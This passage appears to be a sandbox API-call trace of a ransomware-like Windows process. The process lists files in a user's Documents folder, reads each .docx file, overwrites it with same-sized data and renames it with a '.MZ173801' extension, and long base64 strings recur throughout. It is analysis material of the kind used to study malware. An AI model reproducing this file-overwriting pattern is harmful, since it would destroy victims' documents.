lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.789] GetCurrentThreadId () returned 0x9fc [0124.789] GetCurrentThreadId () returned 0x9fc [0124.789] GetCurrentThreadId () returned 0x9fc [0124.790] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\cL2y69LbLQlaeySm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\cl2y69lblqlaeysm.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.790] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.790] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.790] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x12230 [0124.790] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.790] ReadFile (in: hFile=0x294, lpBuffer=0x714510, nNumberOfBytesToRead=0x12230, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x12230, lpOverlapped=0x0) returned 1 [0124.791] CloseHandle (hObject=0x294) returned 1 [0124.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\cL2y69LbLQlaeySm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\cl2y69lblqlaeysm.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.795] WriteFile (in: hFile=0x294, lpBuffer=0x728540*, nNumberOfBytesToWrite=0x12230, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x728540*, lpNumberOfBytesWritten=0x18f6d0*=0x12230, lpOverlapped=0x0) returned 1 [0124.797] CloseHandle (hObject=0x294) returned 1 [0124.798] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\cL2y69LbLQlaeySm.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\cl2y69lblqlaeysm.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\cL2y69LbLQlaeySm.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\cl2y69lblqlaeysm.docx.mz173801")) returned 1 [0124.798] GetCurrentThreadId () returned 0x9fc [0124.798] GetCurrentThreadId () returned 0x9fc [0124.798] GetCurrentThreadId () returned 0x9fc [0124.798] GetCurrentThreadId () returned 0x9fc [0124.799] GetCurrentThreadId () returned 0x9fc [0124.799] GetCurrentThreadId () returned 0x9fc [0124.799] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7915e090, ftCreationTime.dwHighDateTime=0x1d5d922, ftLastAccessTime.dwLowDateTime=0x6fe51670, ftLastAccessTime.dwHighDateTime=0x1d5e3c3, ftLastWriteTime.dwLowDateTime=0x6fe51670, ftLastWriteTime.dwHighDateTime=0x1d5e3c3, nFileSizeHigh=0x0, nFileSizeLow=0xb467, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="ERs66343C7ShFGA.docx", cAlternateFileName="ERS663~1.DOC")) returned 1 [0124.799] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.799] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\ERs66343C7ShFGA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\ers66343c7shfga.docx"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7915e090, ftCreationTime.dwHighDateTime=0x1d5d922, ftLastAccessTime.dwLowDateTime=0x6fe51670, ftLastAccessTime.dwHighDateTime=0x1d5e3c3, ftLastWriteTime.dwLowDateTime=0x6fe51670, ftLastWriteTime.dwHighDateTime=0x1d5e3c3, nFileSizeHigh=0x0, nFileSizeLow=0xb467)) returned 1 [0124.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.802] GetCurrentThreadId () returned 0x9fc [0124.802] GetCurrentThreadId () returned 0x9fc [0124.802] GetCurrentThreadId () returned 0x9fc [0124.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.802] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.803] GetCurrentThreadId () returned 0x9fc [0124.803] GetCurrentThreadId () returned 0x9fc [0124.803] GetCurrentThreadId () returned 0x9fc [0124.803] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\ERs66343C7ShFGA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\ers66343c7shfga.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.803] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0124.803] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.803] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xb467 [0124.803] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0124.803] ReadFile (in: hFile=0x294, lpBuffer=0x714510, nNumberOfBytesToRead=0xb467, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xb467, lpOverlapped=0x0) returned 1 [0124.804] CloseHandle (hObject=0x294) returned 1 [0124.805] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\ERs66343C7ShFGA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\ers66343c7shfga.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0124.807] WriteFile (in: hFile=0x294, lpBuffer=0x720540*, nNumberOfBytesToWrite=0xb467, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x720540*, lpNumberOfBytesWritten=0x18f6d0*=0xb467, lpOverlapped=0x0) returned 1 [0124.809] CloseHandle (hObject=0x294) returned 1 [0124.809] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\ERs66343C7ShFGA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\ers66343c7shfga.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\ERs66343C7ShFGA.docx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\ers66343c7shfga.docx.mz173801")) returned 1 [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] GetCurrentThreadId () returned 0x9fc [0124.810] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ec6d40, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xde849a0, ftLastAccessTime.dwHighDateTime=0x1d5e419, ftLastWriteTime.dwLowDateTime=0xde849a0, ftLastWriteTime.dwHighDateTime=0x1d5e419, nFileSizeHigh=0x0, nFileSizeLow=0x15ac7, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="HXnZ4EJpd91xeE75V.pdf", cAlternateFileName="HXNZ4E~1.PDF")) returned 1 [0124.810] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0124.810] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0124.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\HXnZ4EJpd91xeE75V.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\hxnz4ejpd91xee75v.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ec6d40, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0xde849a0, ftLastAccessTime.dwHighDateTime=0x1d5e419, ftLastWriteTime.dwLowDateTime=0xde849a0, ftLastWriteTime.dwHighDateTime=0x1d5e419, nFileSizeHigh=0x0, nFileSizeLow=0x15ac7)) returned 1 [0124.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 